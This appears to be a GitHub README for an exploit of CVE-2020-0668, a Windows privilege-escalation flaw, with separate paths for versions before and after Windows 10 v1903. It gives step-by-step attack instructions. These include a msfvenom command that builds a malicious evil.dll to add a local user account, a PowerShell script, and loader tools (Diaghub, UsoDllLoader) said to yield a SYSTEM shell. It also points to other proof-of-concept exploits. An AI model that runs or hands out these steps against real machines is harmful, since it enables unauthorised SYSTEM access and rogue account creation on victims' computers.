ycdxsb / CVE-2020-0668

Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903

CVE-2020-0668

Make CVE-2020-0668 exploit work for version < win10 v1903 and version >= win10 v1903

Diaghub Exploit (< v1903)

powershell exploit works on version < win10 v1903 with Diaghub.

Usage

• STEP 1：generate evil.dll with msfvenom
  • example add a user ： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• STEP 2：execute exp.ps1 with powershell
• STEP 3：execute Diaghub.exe C:\ProgramData evil.dll to load dll and add user.

• Diaghub

UsoDllLoader Exploit (>= v1903)

powershell exploit works on version >= win10 v1903 with UsoDllLoader.

Usage

• STEP 1 : execute exp.ps1 with powershell
• STEP 2 : execute UsoDllLoader.exe to get a system shell

• UsoDllLoader

Other Exp or PoC

SysTracingPoc Exp

A x86 release version of SysTracingPoc for issue，exploit works on version >= win10 v1903 because of UsoLoadDll.

• SysTracingPoc

RedCursorSecurityConsulting PoC

A .net PoC. If you take a look at C:\Windows\System32\evil.dll and rename it as evil.txt.

You will find it not a dll file. Only tracing log in it.

• CVE-2020-0668

Nan3r PoC

A powershell PoC. Also only tracing log in evil.dll.

• CVE-2020-0668